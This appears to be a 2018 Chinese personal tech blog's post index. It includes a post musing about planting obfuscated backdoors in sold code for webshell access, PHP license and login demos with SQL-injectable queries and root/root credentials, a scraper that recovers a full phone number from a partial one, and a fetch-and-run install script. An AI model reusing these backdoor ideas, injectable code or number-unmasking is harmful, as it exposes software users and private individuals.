一个练手作品，二维码活码系统。抱着卖一个赚一个的心态就挂到了淘宝上。没过多久就有人购买，当时我当然是非常开心。\n直到对方说了一句话：以后有好的源码请联系我…\n有好的源码请联系我…\n源码请联系我 …\n请联系我…\n我…\n突然觉得事情没那么简单…不过当时因为正在旅游所以转脸就给忘了。\n直到今天突然想把程序放到专业的源码出售平台上，没多想直接进入了百度第一个网站\n进入网站后就想到了当初旅游时发生的事，于是就搜了一下。\n还不止一家呢…\n卖的比我还贵（捂脸）\n其实说实话，如果当时买的时候你就给我说明要倒卖，再随意加点钱就能把我给打发了。但你没说过啊，写代码的最厌恶这种行为了。\n所以…那不行啊，这就是盗卖了，别怪我不客气\n于是找到网站客服交流：\n虽说没有提供太有力的证据，不过已经在处理，可以算是阶段性胜利了。\n经过这件事我结合周围发生的事（比如DGG事件），于是想了想如何才能防止盗版。最后得出结论，在没有巨大投资的情况下几乎不可能实现杜绝盗版。但是也有一些方法可以起到一些作用。防不住一百个人，防住五十个也不错。\n1、授权系统\n网站程序防盗必定离不开授权系统，这也是市面上最常用的防盗方式。\n①激活码授权\n出售激活码，将激活码写入到指定文件。当网页运行的时候激活码将会远程发送到服务器验证端。验证端在数据库中查询激活码是否存在（可以加上域名验证），通过最简单的if语句即可实现功能。\n之前在其他文章里也提到过这个想法：《一个简易授权demo》\n（不能防止激活码重复使用）\n②单号验证+代码混淆\n每次出售的源码都不同，和上一个方法类似将交易单号插入到某个文件（重要文件，比如数据库连接文件）。然后对代码进行加密混淆。每次网页运行后远程服务端便记录运行单号和域名。若出现同一单号运行在两个域名则终止程序运行。\n（手动修改太麻烦，不适合懒癌患者）\n2、后门\n③后门\n这是用户最讨厌也是开发者最喜欢的手段。用户讨厌是因为后门指不准能走到哪。开发者喜欢是因为…它真的很爽啊~\n和以前黑别人网站比起来自己“黑”才是真的爽啊~\n想插哪就插哪，想怎么动就怎么动。插上去后还能再加个密啥的….不行不行老毛病又要犯了，淡定淡定。\n用多个文件进行拼接，某些部分混淆加密一下，呵呵哒~\n顺便返回下域名\n菜刀直接莽，不怂\n（太缺德，而且没有识别手段）\n总之先想到这么多，以后再有新操作再加上来。\n","date":"2018-11-03","externalUrl":null,"permalink":"/2018/11/03/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%8F%8D%E7%9B%97%E7%89%88%E8%83%9C%E5%88%A9/","section":"文章","summary":"七月份左右的时候我鼓鼓捣捣终于完成了自己的第一个练手作品，二维码活码系统。抱着卖一个赚一个的心态就挂到了淘宝上。没过多久就有人购买，当时我当然是非常开心。\n","title":"记一次反盗版胜利","type":"post"},{"content":"怎么说呢，这篇文章写得有点迟了。本来昨晚就该写的，结果咕咕咕战胜了理智。\n看着站底部的时间才发现原来已经开站一年了，一年里认识了很多大神，学会了很多东西，交了很多朋友。一年中不管遇到什么，总算是磕磕碰碰走过来了。第一次做一个站坚持这么长时间。(有机会考虑考虑十年之约)\n诶，中间吃了顿饭写文章的灵感全没了。就这样吧。（看来以后写东西中间不能断啊）\n虽然没几个人看这个破站，但是还是要自己庆祝一下。\n一周年快乐！ .\n一周年快乐！\n一周年快乐！\n一周年快乐！\n一周年快乐！\n一周年快乐！\n一周年快乐！\n一周年快乐！\n","date":"2018-09-15","externalUrl":null,"permalink":"/2018/09/15/%E5%8D%9A%E5%AE%A2%E4%B8%80%E5%91%A8%E5%B9%B4%E7%BA%AA%E5%BF%B5/","section":"文章","summary":"怎么说呢，这篇文章写得有点迟了。本来昨晚就该写的，结果咕咕咕战胜了理智。\n","title":"博客一周年纪念","type":"post"},{"content":"前阵子蚊子大佬写了个气泡通知，觉得很好玩。\n所以就想用在自己的站上，然而扒了半天眼睛都疼了也没干净的扒下来。\n幸好有其他大佬扒了下来，自己正好简化下做成typecho插件（懒癌发作）\n由于是第一次做插件，有什么做的不好的地方….那就不好着吧\n反正我也不一定会修那个bug\n效果图：\n放上github地址:点击进入\nWTS # ##气泡公告插件 ##模仿ACFUN通知条\n插件名叫WTS(蚊子、兔子（梓喵）、阿硕)\n启用插件后访问网站首页时会在左侧弹出一个仿ACFUN通知条，一段时间后向下滑动消失。\n大部分代码来自@梓喵 核心代码来自@蚊子\n我个弱渣只是稍微改了改然后撸成插件（有些奇奇怪怪的代码因为不知道干嘛的就没有删掉）\n默认颜色是红色，需要改的可以在zi_message2.js的第21、22、23行更改。后台改颜色什么的以后再说吧。\n解压后文件夹记得改名为WTS(大写)\n2018.9.18\n发现插件存在兼容性问题，本博客暂时取消展示\n2021.5\n时间太长了，当年写的代码是啥都忘了，已经无法填坑…遂弃。感谢一直以来大家的喜爱\n","date":"2018-09-10","externalUrl":null,"permalink":"/2018/09/10/WTS%E6%B0%94%E6%B3%A1%E9%80%9A%E7%9F%A5%E6%8F%92%E4%BB%B6/","section":"文章","summary":"前阵子蚊子大佬写了个气泡通知，觉得很好玩。\n所以就想用在自己的站上，然而扒了半天眼睛都疼了也没干净的扒下来。\n","title":"WTS气泡通知插件","type":"post"},{"content":"来学校早了，整天闲得无聊。今天十二点半才醒来，无聊拿着手机看QQ。看到班级群里好像有什么消息，点开看了看….\n一个兄弟好像不准备回来了。博主今年已经大三了，因为上的专科学校所以正常情况下大三就该出去实习。有些人暑假之后就会不来学校直接实习去，一年后领毕业证就一切都结束了。\n一直以为三年时间很长，没想到一眨眼就过完了。你问我大学都干了什么，我不知道。我快乐吗？也没感觉到。你有挥洒过青春和梦想吗？可能有吧。那你后悔上大学吗？不…一点也不后悔。即使我的学校不入流，即使我的学校很无趣，但依然不后悔。在这里我遇到过有意思的人，遇到过没意思的人，遇到过错误的人，也遇到了正确的人。我干过蠢事，也当过英雄。崇拜过学长，也被叫过学长。被学姐撩过，也被学妹撩过（大雾~）\n听着窗外社团纳新的声音，好像自己入学就是昨天。\n学校还是那个学校，社团还是那个社团。商学院大道依然热闹，建工楼依然是个迷宫，地上的黑砖还是那么滑。英才广场的喷泉依然是一年喷一次水，而我可能是最后一次看到了。\n有缘，江湖见\n","date":"2018-09-05","externalUrl":null,"permalink":"/2018/09/05/%E6%9C%89%E7%BC%98%EF%BC%8C%E6%B1%9F%E6%B9%96%E8%A7%81/","section":"文章","summary":"来学校早了，整天闲得无聊。今天十二点半才醒来，无聊拿着手机看QQ。看到班级群里好像有什么消息，点开看了看….\n","title":"有缘，江湖见","type":"post"},{"content":"前几天在某大佬群里水的时候大家无意间提到了小绿锁（https）都在说自己用了什么什么协议用的哪里哪里的证书。于是弱弱的问了一句：“大佬们都是上了锁吗？”\n于是就被鄙视了。\n其实我个人是懒的去上锁的，当初https大范围应用时全网速度都下降了一个层次。（后来证实是上游DNS被攻击的缘故）所以对上锁有点抗拒。说是更安全，其实我觉得没什么用处。有人想办法赚钱就有人想办法偷钱，过于在意没什么意义。但是现在大家都上了那我就也跟随大众吧（据说谷歌现在都划标识了）。\n自己一直用的amh面板，平时实验多所以环境装的很乱。加小绿锁时遇到了很多问题，所以写篇文章来纪念下我死去的脑细胞。\n申请证书之类的都和网上大多一样，这个过程就不说了。\n拿到了证书文件之后在amssl里配置。遇到的第一个问题是模块使用问题。\n这里需要先填写数据然后创建，才能填CSR数据。（不能一次性提交，差评）\n第二个坑，应用证书是失败，提示 nginx: [warn] conflicting server name \u0026quot;sshuo.cc\u0026quot; on 0.0.0.0:80, ignored\n想不通是为什么，百度上查大多是说nginx配置问题，但是检查了并没有什么错误。\n后来突然想起来以前的旧博客其实并没有删除，只是把它放到其他环境并且不解析了。那就对了。打开看了看果然那个旧的博客上还绑着sshuo.cc这个域名。因为域名冲突所以才会提示这个错误，删了之后果然就可以了。\n第三个坑，cdn设置。因为没配过小绿锁所以不知道cdn是需要特殊设置的。我用的阿里的CDN，在控制台找了半天终于找到HTTPS设置。需要上传你的证书。我是在amh直接获取的，在阿里这里填的时候没注意顺序死活填不对。冷静下来后慢慢仔细的看，才发现两个地方给的顺序不一样。amh先给的私钥，阿里那边是先填的公钥，两个弄反了所以总是失败。（如果服务器上设置了强制跳转阿里那里就别设置了，会出问题的）\n第四个坑，资源链接重写。当你配完以上步骤时网站已经可以正常访问了。然而访问时你的资源都丢了（图片、视频、js、css…）\n因为你的资源链接都没改，所以无法访问。这时候基本改两个地方就行了。登上你的后台，在网站的基本设置里更改网站地址，把http改为https就好了。\n然后进入到数据库执行一个sql语句(以tyoecho为例)：\nUPDATE typecho_contents SET text = REPLACE(text,\u0026#39;http://xx.com/usr/uploads/\u0026#39;,\u0026#39;https://xx.com/usr/uploads/\u0026#39;); 执行后文章中的所有引用链接就全都加上了https，正常访问get\n其实到这里就基本结束了，以下两个坑是我自己的，正常人应该遇不到。\n加上锁以后顺手换了主题，结果发现主题css丢了一些。可是各种找问题找不到，最后仔细想了想大概是CDN和DNS的锅。\n用户访问域名需要通过DNS解析然后找到资源，而CDN则把资源“预存”到了各个节点上去。那么问题就出现了，资源不可能实时更新“预存”，而DNS也需要时间去同步。当我因为加了小绿锁重新配置了CDN后CDN节点开始“预存”资源，并且DNS开始将访问请求通过CDN提供的CNAME解析把请求分配到各个节点，然后各个节点开始和全球进行同步。最后就出现了CDN刷新时间+DNS同步时间=我睡一觉的时间。所以就出现了我这个“反应迟钝”，没想通的时候以为站炸了，其实只是没刷新过来而已。\n最后吐槽一句：学校自有DNS真的辣鸡\n","date":"2018-09-03","externalUrl":null,"permalink":"/2018/09/03/%E7%BB%88%E4%BA%8E%E5%8A%A0%E4%B8%8A%E5%B0%8F%E7%BB%BF%E9%94%81/","section":"文章","summary":"前几天在某大佬群里水的时候大家无意间提到了小绿锁（https）都在说自己用了什么什么协议用的哪里哪里的证书。于是弱弱的问了一句：“大佬们都是上了锁吗？”\n","title":"终于加上小绿锁","type":"post"},{"content":"习惯放图\n前阵子无聊写了个简单的活码系统谁知道竟然好多人要买（雾草….我瞎写的啊…）。无意间又看到了老司机写的。人家界面又好看，功能又齐全，真的很厉害。于是准备把自己的那个自行车改装下，不说改的多好起码得能看得过去。\n代码先不敲，写个稿子记下思路（要干活先挖坑）。\n首先是功能：\n1、多用户（系统有多个用户） ★★☆☆☆ 取消\n2、计次切换 ★★★☆☆ 已完成\n3、随机切换 ★★★★☆\n4、更新图片输出方式（原来那个太蠢了） ★★★★★\n5、一键安装功能 ★☆☆☆☆\n6、安全加固（管他呢看心情加固） ★☆☆☆☆\n7、界面美化（不用bs改用layui） ★★★★★ 已完成\n8、新的上传 ★★★★☆ 已完成\n数据库结构：\n1、二维码信息表\n①二维码名称\n②二维码被访问次数（暂定）\n③二维码所属用户\n④二维码ID\n2、用户表\n①用户名\n②密码\n③用户ID\n总体思路：\n用户创建【二维码ID】，类库对其生成二维码。\n扫描后访问查询页。查询同 【二维码ID】and 【二维码所属用户】 下所有条目的【二维码名称】。\n并且记录【二维码被访问次数（暂定）】\n大概总体就这吧\ndate:2021 # 项目已弃坑 # ","date":"2018-08-31","externalUrl":null,"permalink":"/2018/08/31/%E4%B8%80%E4%B8%AA%E4%BA%8C%E7%BB%B4%E7%A0%81%E6%B4%BB%E7%A0%81%E7%B3%BB%E7%BB%9F%E6%80%9D%E8%B7%AF/","section":"文章","summary":"习惯放图\n前阵子无聊写了个简单的活码系统谁知道竟然好多人要买（雾草….我瞎写的啊…）。无意间又看到了老司机写的。人家界面又好看，功能又齐全，真的很厉害。于是准备把自己的那个自行车改装下，不说改的多好起码得能看得过去。\n","title":"一个二维码活码系统思路","type":"post"},{"content":"两天前老弟突然对我说想玩一个游戏，还贼兮兮的告诉我特别古老。还在想FC游戏时这家伙就说漏了嘴–《问道》。\n是啊，《问道》，挺古老的。想想第一次玩的时候才小学，那时才刚刚接触电脑。在小伙伴的诱惑下偷偷去黑网吧玩的样子历历在目。\n《问道》是一款回合制游戏，以修仙为背景。第一次接触它时好像才三年级。我还清晰的记得当时的第一个账号是一个叫祝元哲的小伙伴给的（这货现在估计都快有孩子了吧）。账号是e9999999999999（整整13个9）密码123456，在逐鹿中原区。不过这个号现在已经登不上去了。\n凭着一股子脑热重新下载了这款游戏（竟然还活着）。游戏官网赫然写着十二周年纪念，欢迎老玩家回归。可是试了好几个号里面的角色都消失了，可能已经被清数据了吧。用着老号创建新角色再走一遍十二年前的路。\n（这么多年图标都不舍得换）\n登录账号，登录界面不知道换了几次了\n打开地图揽仙镇也“装修”了很多遍，就连“新”NPC花姑子都变成老油条了。\n遥想当年奔波在揽仙镇上，满十级后去天墉城时激动的心情、在官道上遇到一位大佬带着桃精我竟然还不认识、区里最高等级高达500、那时还没有道行在这一说、大家一个多月才升到10级……\n十二年回首多少玩家来来去去。这么多年间回归了多次，最终还是弃坑。道友啊，我又回来了，大家已经位列仙班了吗？\n玩了两天，终于还是没有玩出当年的感觉。仔细思考了一下，《问道》现在的样子和那些页游有什么区别？（也是到处都有充值的活动广告，也是卖情怀）\n写到这里心里很乱，也不知道自己写了点什么。罢了罢了，过去的就该过去。\n寻仙问道，梦回少年\n道友，你还在吗\n","date":"2018-08-26","externalUrl":null,"permalink":"/2018/08/26/%E5%AF%BB%E4%BB%99%E9%97%AE%E9%81%93%EF%BC%8C%E6%A2%A6%E5%9B%9E%E5%B0%91%E5%B9%B4/","section":"文章","summary":"两天前老弟突然对我说想玩一个游戏，还贼兮兮的告诉我特别古老。还在想FC游戏时这家伙就说漏了嘴–《问道》。\n","title":"寻仙问道，梦回少年","type":"post"},{"content":"在页面中引用，比如：\n\u0026lt;?php echo\u0026#39;1111\u0026#39;; include (\u0026#39;shouquan.php\u0026#39;); echo\u0026#39;1111\u0026#39;; ?\u0026gt; 授权操作 $url=$_SERVER[\u0026#39;SERVER_NAME\u0026#39;]; include (\u0026#39;key.php\u0026#39;); $curl = curl_init(); //设置抓取的url curl_setopt($curl, CURLOPT_URL, \u0026#39;http://localhost/api/api.php\u0026#39;); //设置头文件的信息作为数据流输出 curl_setopt($curl, CURLOPT_HEADER, 0); //设置获取的信息以文件流的形式返回，而不是直接输出。 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //设置post方式提交 curl_setopt($curl, CURLOPT_POST, 1); //设置post数据 $post_data = array( \u0026#34;domain\u0026#34; =\u0026gt; \u0026#34;$url\u0026#34;, \u0026#34;key\u0026#34; =\u0026gt; \u0026#34;$key\u0026#34; ); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data); //执行命令 $data = curl_exec($curl); //关闭URL请求 curl_close($curl); //echo \u0026#34;$data\u0026#34;; if ($data==\u0026#39;true\u0026#39;) { echo\t\u0026#39;域名验证成功！\u0026lt;br\u0026gt;\u0026#39;; } else { exit(); }`\u0026lt;/pre\u0026gt; key文件，用于存储激活码、授权码 \u0026lt;pre\u0026gt;`\u0026lt;?php $key=\u0026#39;123456\u0026#39;;//输入激活码 ?\u0026gt;`\u0026lt;/pre\u0026gt; api文件，接受客户端post请求并返回相应数据 \u0026lt;pre\u0026gt;`\u0026lt;?php $api=$_POST[\u0026#39;key\u0026#39;]; $domain=$_POST[\u0026#39;domain\u0026#39;]; $servername = \u0026#34;localhost\u0026#34;; $username = \u0026#34;root\u0026#34;; $password = \u0026#34;root\u0026#34;; $dbname = \u0026#34;selectdata\u0026#34;; // 创建连接 $conn = new mysqli($servername, $username, $password, $dbname); // Check connection if ($conn-\u0026gt;connect_error) { die(\u0026#34;连接失败: \u0026#34; . $conn-\u0026gt;connect_error); } $rs = mysqli_query($conn,\u0026#34;SELECT * FROM data WHERE domain=\u0026#39;$domain\u0026#39;\u0026#34;); $aa=mysqli_fetch_array($rs); if ($api==$aa[1]) { echo\u0026#39;true\u0026#39;; } else { echo\u0026#39;false\u0026#39;; } 将程序重要函数/操作/行为添加到shouquan.php中并对其加密混淆，以达到防破解的目的 嗯...暂时就想到这么多。 2018.12.1 客户端代码 \u0026lt;?php //获取不带端口号的域名前缀 $servername = trim($_SERVER[\u0026#39;SERVER_NAME\u0026#39;]); //获取服务端授权文件校验 $verifyurl = file_get_contents(\u0026#39;http://www.toyean.com/zb_users/upload/copyright.php?domain=\u0026#39;.$servername); if(!empty($verifyurl)){ echo \u0026#34;已授权！\u0026#34;; //授权成功 }else{ die(\u0026#34;未授权！\u0026#34;); //授权失败 } ?\u0026gt;``` 服务端代码 ```\u0026lt;?php\u0026lt;/span\u0026gt; \u0026lt;pre\u0026gt;`//获取域名 $domain = $_GET[\u0026#39;domain\u0026#39;]; //授权域名列表 $Array = array(\u0026#39;127.0.0.1\u0026#39;,\u0026#39;localhost\u0026#39;); //校验结果 echo in_array($domain, $Array) ? \u0026#39;yes\u0026#39; : \u0026#39;\u0026#39;; ?\u0026gt; 感谢@慕若曦的指点\n","date":"2018-08-20","externalUrl":null,"permalink":"/2018/08/20/%E4%B8%80%E4%B8%AA%E7%AE%80%E6%98%93%E6%8E%88%E6%9D%83demo/","section":"文章","summary":"在页面中引用，比如：\n\u003c?php echo'1111'; include ('shouquan.php'); echo'1111'; ?\u003e 授权操作 $url=$_SERVER['SERVER_NAME']; include ('key.php'); $curl = curl_init(); //设置抓取的url curl_setopt($curl, CURLOPT_URL, 'http://localhost/api/api.php'); //设置头文件的信息作为数据流输出 curl_setopt($curl, CURLOPT_HEADER, 0); //设置获取的信息以文件流的形式返回，而不是直接输出。 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //设置post方式提交 curl_setopt($curl, CURLOPT_POST, 1); //设置post数据 $post_data = array( \"domain\" =\u003e \"$url\", \"key\" =\u003e \"$key\" ); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data); //执行命令 $data = curl_exec($curl); //关闭URL请求 curl_close($curl); //echo \"$data\"; if ($data=='true') { echo\t'域名验证成功！\u003cbr\u003e'; } else { exit(); }`\u003c/pre\u003e key文件，用于存储激活码、授权码 \u003cpre\u003e`\u003c?php $key='123456';//输入激活码 ?\u003e`\u003c/pre\u003e api文件，接受客户端post请求并返回相应数据 \u003cpre\u003e`\u003c?php $api=$_POST['key']; $domain=$_POST['domain']; $servername = \"localhost\"; $username = \"root\"; $password = \"root\"; $dbname = \"selectdata\"; // 创建连接 $conn = new mysqli($servername, $username, $password, $dbname); // Check connection if ($conn-\u003econnect_error) { die(\"连接失败: \" . $conn-\u003econnect_error); } $rs = mysqli_query($conn,\"SELECT * FROM data WHERE domain='$domain'\"); $aa=mysqli_fetch_array($rs); if ($api==$aa[1]) { echo'true'; } else { echo'false'; } 将程序重要函数/操作/行为添加到shouquan.php中并对其加密混淆，以达到防破解的目的 嗯...暂时就想到这么多。 2018.12.1 客户端代码 \u003c?php //获取不带端口号的域名前缀 $servername = trim($_SERVER['SERVER_NAME']); //获取服务端授权文件校验 $verifyurl = file_get_contents('http://www.toyean.com/zb_users/upload/copyright.php?domain='.$servername); if(!empty($verifyurl)){ echo \"已授权！\"; //授权成功 }else{ die(\"未授权！\"); //授权失败 } ?\u003e``` 服务端代码 ```\u003c?php\u003c/span\u003e \u003cpre\u003e`//获取域名 $domain = $_GET['domain']; //授权域名列表 $Array = array('127.0.0.1','localhost'); //校验结果 echo in_array($domain, $Array) ? 'yes' : ''; ?\u003e 感谢@慕若曦的指点\n","title":"一个简易授权demo","type":"post"},{"content":"举例\n求手机号177xxxx6832完整号码\n以河南驻马店为例，找出相应号段 http://www.bixinshui.com/city/279\n177号段 单号段网页内容\n开始程序\n创建数组 $arr = array(\u0026#39;1773965\u0026#39;,\u0026#39;1776026\u0026#39;,\u0026#39;1776027\u0026#39;,\u0026#39;1776025\u0026#39;,\u0026#39;1776021\u0026#39;,\u0026#39;1776022\u0026#39;,\u0026#39;1776023\u0026#39;,\u0026#39;1774941\u0026#39;,\u0026#39;1774697\u0026#39;,\u0026#39;1773964\u0026#39;,\u0026#39;1773969\u0026#39;,\u0026#39;1773968\u0026#39;,\u0026#39;1773966\u0026#39;,\u0026#39;1773967\u0026#39;,\u0026#39;1773953\u0026#39;,\u0026#39;1773948\u0026#39;,\u0026#39;1773738\u0026#39;,\u0026#39;1773702\u0026#39;,\u0026#39;1771919\u0026#39;,\u0026#39;1771917\u0026#39;,\u0026#39;1771918\u0026#39;,\u0026#39;1771916\u0026#39;,\u0026#39;1770396\u0026#39;,\u0026#39;1770397\u0026#39;,\u0026#39;1779655\u0026#39;,\u0026#39;1779661\u0026#39;,\u0026#39;1779656\u0026#39;,\u0026#39;1779657\u0026#39;,\u0026#39;1779654\u0026#39;,\u0026#39;1771914\u0026#39;,\u0026#39;1774044\u0026#39;);`\u0026lt;/pre\u0026gt; 通过遍历数组获取所有单号段网页内容 \u0026lt;pre\u0026gt;`创建CURL操作 $url = \u0026#34;\u0026#34;;//目标网页url $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response= curl_exec($ch); curl_close($ch); preg_match_all(\u0026#34;/\u0026lt;td\u0026gt;\\n\\d{7}6832\u0026lt;\\/td\u0026gt;/\u0026#34;,$response, $a);//通过正则提取特定结尾号码 $shuzu=$a[0]; echo \u0026#34;$shuzu[0]\u0026#34;; echo \u0026#34;\u0026lt;br\u0026gt;\u0026#34;;`\u0026lt;/pre\u0026gt; 使用foreach \u0026lt;pre\u0026gt;`foreach($arr as $value){ }`\u0026lt;/pre\u0026gt; 完整成品 \u0026lt;pre\u0026gt;`\u0026lt;?php $arr = array(\u0026#39;1773965\u0026#39;,\u0026#39;1776026\u0026#39;,\u0026#39;1776027\u0026#39;,\u0026#39;1776025\u0026#39;,\u0026#39;1776021\u0026#39;,\u0026#39;1776022\u0026#39;,\u0026#39;1776023\u0026#39;,\u0026#39;1774941\u0026#39;,\u0026#39;1774697\u0026#39;,\u0026#39;1773964\u0026#39;,\u0026#39;1773969\u0026#39;,\u0026#39;1773968\u0026#39;,\u0026#39;1773966\u0026#39;,\u0026#39;1773967\u0026#39;,\u0026#39;1773953\u0026#39;,\u0026#39;1773948\u0026#39;,\u0026#39;1773738\u0026#39;,\u0026#39;1773702\u0026#39;,\u0026#39;1771919\u0026#39;,\u0026#39;1771917\u0026#39;,\u0026#39;1771918\u0026#39;,\u0026#39;1771916\u0026#39;,\u0026#39;1770396\u0026#39;,\u0026#39;1770397\u0026#39;,\u0026#39;1779655\u0026#39;,\u0026#39;1779661\u0026#39;,\u0026#39;1779656\u0026#39;,\u0026#39;1779657\u0026#39;,\u0026#39;1779654\u0026#39;,\u0026#39;1771914\u0026#39;,\u0026#39;1774044\u0026#39;); foreach($arr as $value){ $url = \u0026#34;http://www.bixinshui.com/phone/$value\u0026#34;; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response= curl_exec($ch); curl_close($ch); preg_match_all(\u0026#34;/\u0026lt;td\u0026gt;\\n\\d{7}\u0026lt;span style=\u0026#34;font-size: 1em;\u0026#34;\u0026gt;6832\u0026lt;span style=\u0026#34;font-size: 1em;\u0026#34;\u0026gt;\u0026lt;\\/td\u0026gt;/\u0026#34;,$response, $a); $out=$a[0]; echo \u0026#34;$out[0]\u0026#34;; echo \u0026#34;\u0026lt;br\u0026gt;\u0026#34;; }\u0026lt;/span\u0026gt;\u0026lt;/span\u0026gt; ","date":"2018-08-20","externalUrl":null,"permalink":"/2018/08/20/php%E7%AC%94%E8%AE%B0---%E7%AE%80%E5%8D%95%E7%9A%84%E5%A4%9A%E5%B1%82%E7%BD%91%E9%A1%B5%E5%86%85%E5%AE%B9%E6%8F%90%E5%8F%96/","section":"文章","summary":"举例\n求手机号177xxxx6832完整号码\n以河南驻马店为例，找出相应号段 http://www.bixinshui.com/city/279\n","title":"php笔记---简单的多层网页内容提取","type":"post"},{"content":" 右击保存到本地可放大查看\n","date":"2018-08-06","externalUrl":null,"permalink":"/2018/08/06/%E4%B8%80%E5%BC%A0%E6%B8%97%E9%80%8F%E6%80%9D%E7%BB%B4%E5%AF%BC%E5%9B%BE/","section":"文章","summary":" 右击保存到本地可放大查看\n","title":"一张渗透思维导图","type":"post"},{"content":"如题，一个物联网安全的百科书\n由伏宸安全实验发起的一个开源图书项目，目前属于测试版本，很多章节尚未完成，收录在日常研究过程中，总结的零散知识和心得经验，今后会不断完善内容，形成系统化的知识结构\n物联网安全百科\n","date":"2018-08-06","externalUrl":null,"permalink":"/2018/08/06/%E6%8E%A8%E8%8D%90%E4%B8%80%E4%B8%AA%E7%89%A9%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E7%99%BE%E7%A7%91/","section":"文章","summary":"如题，一个物联网安全的百科书\n由伏宸安全实验发起的一个开源图书项目，目前属于测试版本，很多章节尚未完成，收录在日常研究过程中，总结的零散知识和心得经验，今后会不断完善内容，形成系统化的知识结构\n","title":"一个物联网安全的百科书","type":"post"},{"content":"万恶的度盘限速实在厉害，用了插件突破结果账号被限速了。\n今天给大家推荐一款私人云盘cloudreve\n官网http://cloudreve.org/\n优点 # 云存储 # 填写简单信息即可快速对接七牛、又拍云、阿里云OSS、AWS S3，当然你也可以选择将文件存放在本地。\n多用户 # 你可以将Cloudreve作为私有云使用，Cloudreve强大的用户系统也可作为公有云平台使用。\n上传策略 # 不同用户组可绑定不同上传策略，并在多个上传策略间快速切换，充分利用存储资源。\n在线预览 # 支持图片、视频、音频、Office文档在线预览；文本文件、Markdown文件在线编辑。\n文件分享 # 用户可以创建私有或公有分享链接，快速分享文件、目录给好友。\nWebDAV支持 # 你可以将网盘映射到本地管理，或者使用其他支持WebDAV协议的文件管理器，实现无缝跨平台。\n响应式布局 # 全站响应式布局，移动端也能拥有良好的使用体验\n文件上传 # 支持大文件分片上传、断点续传、批量上传、拖拽上传。\n易于部署 # 使用PHP + MySQL架构，简单5分钟即可成功部署您的专属云盘。\n以上是我从官网复制过来的（逃~\n安装步骤： # 有两种安装方式\n一、通过Composer安装 # 安装Composer\n`curl -sS https://getcomposer.org/installer | php mv composer.phar /usr/local/bin/composer` 2. 使用Composer安装Cloudreve # #安装开发版\n$ composer create-project hfo4/cloudreve:dev-master\n#出现如下提示表示安装完成\nCongratulations! Cloudreve has been installed successfully.\nHere’s some informatioin about yor Cloudreve:\nHomepage: https://pan.aoaoao.me/\nAdmin Panel: https://pan.aoaoao.me/Admin\nDefault username: admin@cloudreve.org\nDefault password: admin\n\\[v\\_blue\\]runtime目录需要写入权限，如果你使用本地存储，public 目录也需要有写入权限\n\\[/v\\_blue\\] 常规安装（虚拟主机安装） # 在官网下载程序包并解压到目录\n官方下载地址：http://cloudreve.org/download.php\n将根目录下的mysql.sql到入到你的数据库，编辑application/database_sample.php文件，填写数据库信息，并重命名为database.php\n正常访问即可\n后台：abc.com/admin/\n默认账号: admin@cloudreve.org\n默认密码: admin\n登录后可在管理面板中添加管理员\n如果想作为私人网盘使用也可以在管理面板中设置\n提示：\n要记得设置用户空间大小，默认为1G\n要记得设置文本编辑大小限制，不然大点的文本会不能编辑\n360急速浏览器自带下载功能下载时可能会异常\n离线下载功能需要aria2支持。详细配置教程点击此处\n官方项目地址：点击此处\n","date":"2018-08-05","externalUrl":null,"permalink":"/2018/08/05/%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%A7%81%E4%BA%BA%E7%BD%91%E7%9B%98--cloudreve/","section":"文章","summary":"万恶的度盘限速实在厉害，用了插件突破结果账号被限速了。\n今天给大家推荐一款私人云盘cloudreve\n官网http://cloudreve.org/\n","title":"搭建一个私人网盘--cloudreve","type":"post"},{"content":"KMS用来激活 VOL 版本的 Windows 和 Office。经常能在网上看到有人提供的 KMS 服务器地址，那么你有没有想过自己也来搞一个这样的服务呢？最近看到了大佬的一键脚本点击查看于是写篇文章水一下。以祭我这长了蜘蛛网的博客。\nroot登录服务器复制粘贴以下命令并回车\nwget --no-check-certificate https://github.com/teddysun/across/raw/master/kms.sh \u0026amp;\u0026amp; chmod +x kms.sh \u0026amp;\u0026amp; ./kms.sh 安装完成后执行以下命令查看端口状态（一般都没啥问题）\nnetstat -nxtlp | grep 1688 本脚本安装完成后，会将 KMS 服务加入开机自启动\n查看运行状态\n使用方法\nwin\n管理员身份运行cmd或新建bat文件输入以下内容\n/d \u0026ldquo;%SystemRoot%\\system32\u0026rdquo;\nslmgr /skms 你的VPS的IP或者绑定的域名 slmgr /ato slmgr /xpr office\n同上，命令如下\n/d \u0026ldquo;%ProgramFiles%\\Microsoft Office\\Office15\u0026rdquo;\n#依次执行下面的命令 cscript ospp.vbs /sethst:你的VPS的IP或者绑定的域名 cscript ospp.vbs /act cscript ospp.vbs /dstatus 常用命令\n启动：/etc/init.d/kms start 停止：/etc/init.d/kms stop 重启：/etc/init.d/kms restart 状态：/etc/init.d/kms status 卸载：./kms.sh uninstall 提示：KMS方式激活是有时间限制的，本文章仅供娱乐\n","date":"2018-08-04","externalUrl":null,"permalink":"/2018/08/04/%E5%BF%AB%E9%80%9F%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAKMS%E6%9C%8D%E5%8A%A1%E5%99%A8/","section":"文章","summary":"KMS用来激活 VOL 版本的 Windows 和 Office。经常能在网上看到有人提供的 KMS 服务器地址，那么你有没有想过自己也来搞一个这样的服务呢？最近看到了大佬的一键脚本点击查看于是写篇文章水一下。以祭我这长了蜘蛛网的博客。\n","title":"快速搭建一个KMS服务器","type":"post"},{"content":" 登录验证 # \u0026lt;?php include \u0026#34;config/config.php\u0026#34;; $name = $_POST[\u0026#39;name\u0026#39;];//post获得用户名表单值 $passowrd = $_POST[\u0026#39;password\u0026#39;];//post获得用户密码单值 if ($name \u0026amp;\u0026amp; $passowrd){//如果用户名和密码都不为空 $sql = \u0026#34;select * from user where name = \u0026#39;$name\u0026#39; and password=\u0026#39;$passowrd\u0026#39;\u0026#34;;//检测数据库是否有对应的username和password的sql 